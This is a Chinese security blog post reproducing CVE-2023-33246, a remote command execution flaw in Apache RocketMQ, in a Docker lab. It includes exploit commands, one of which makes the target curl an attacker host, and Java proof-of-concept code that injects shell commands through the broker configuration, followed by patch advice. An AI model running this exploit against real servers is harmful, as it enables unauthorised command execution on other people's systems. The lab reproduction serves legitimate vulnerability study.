CVE-2023-33246:Apache RocketMQ远程代码执行漏洞

新闻资讯   2023-07-19 18:41   52   0  

关注我们❤️,添加星标🌟,一起学安全!
作者:Locks_@Timeline Sec
本文字数:2940
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

RocketMQ是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。

0x02 漏洞概述

漏洞编号:CVE-2023-33246

Apache RocketMQ此漏洞是一个远程命令执行漏洞。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

0x03 影响版本

Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5

0x04 环境搭建

docker搭建环境

docker pull apache/rocketmq:4.9.1  
docker pull apacherocketmq/rocketmq-console:2.0.0

启动namesrv

docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv

创建目录

mkdir -p /mydata/rocketmq/conf/

在宿主机创建broker配置文件, 启动broker服务需要,我这里的路径为: /mydata/rocketmq/conf/broker.conf文件内容(vim /mydata/rocketmq/conf/broker.conf)

brokerClusterName = DefaultCluster   
brokerName = broker-a   
brokerId = 0   
deleteWhen = 04   
fileReservedTime = 48   
brokerRole = ASYNC_MASTER   
flushDiskType = SYNC_FLUSH   
brokerIP1 = 192.168.88.104

注:172.16.0.70为我的宿主机IP 启动docker

docker run -d -p 10911:10911 -p 10909:10909 -v  /data/broker/logs:/root/logs -v  /data/broker/store:/root/store -v  /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

启动console

docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv\  
 -e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876\  
 -Dcom.rocketmq.sendMessageWithVIPChannel=false"
\  
 -t apacherocketmq/rocketmq-console:2.0.0

最后访问8899得到如下

http://172.16.0.70:8899/#/

0x05 漏洞复现

靶机:centos7 docker搭建  172.16.0.70
攻击:win11    脚本攻击    172.16.0.61
接收:kali     curl       172.16.0.68

GitHub中的工具

https://github.com/SuperZero/CVE-2023-33246/tree/main

命令语句模板

java -jar CVE-2023-33246.jar -ip "被攻击host" -cmd "执行的命令"

使用kali自带的http服务验证命令是否执行成功

java -jar .\CVE-2023-33246.jar -ip "172.16.0.70" -cmd "curl http://172.16.0.68:8000"

成功访问到kali的http服务

0x06 漏洞分析

漏洞成因:
1.提供无加密与鉴权的不安全服务;
2.对于用户输入的检查与过滤不足。

通过修改RocketMQ的配置文件来实现攻击。它创建一个DefaultMQAdminExt对象,并设置namesrv地址。

然后,它通过设置rocketmqHome属性来修改配置文件中的rocketmqHome配置,并将操作系统命令拼接到配置参数中。

最后,它使用admin.updateBrokerConfig方法向特定的broker地址发送修改后的配置数据,从而实现对该broker的攻击。

import java.util.Properties;  
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;  
  
public static void main(String[] args) {  
       // 创建 Properties 对象  
       Properties props = new Properties();  
       //修改rocketmqHome配置  
       props.setProperty("rocketmqHome","-c $@|sh . echo open -a Calculator;");  
       props.setProperty("filterServerNums","1");  
       // 创建 DefaultMQAdminExt 对象并启动  
       DefaultMQAdminExt admin = new DefaultMQAdminExt();  
       //此处为 namesrv 端口,此端口无需可访问  
       admin.setNamesrvAddr("localhost:9876");  
       admin.start();  
       // 更新配置⽂件  
       //此处为 broker 端口,必须可访问  
       admin.updateBrokerConfig("127.0.0.1:10911", props);  
       // 关闭 DefaultMQAdminExt 对象  
       admin.shutdown();  
}

0x07 修复方式

目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6

下载链接:

https://rocketmq.apache.org/download/

参考链接

https://mp.weixin.qq.com/s/tSu-rVpmdDgMLGF_g_1_5Q

推荐服务

历史漏洞

暂无


后台功能

回复【1】领取新人学习资料
回复【
2】进入漏洞查询功能
回复【
3】获取加群方式
回复【
4】领取安全电子书籍

回复5】进入SRC-QQ交流群


商务合作

Timeline Sec团队可合作项目清单

文章引用微信公众号"Timeline Sec",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。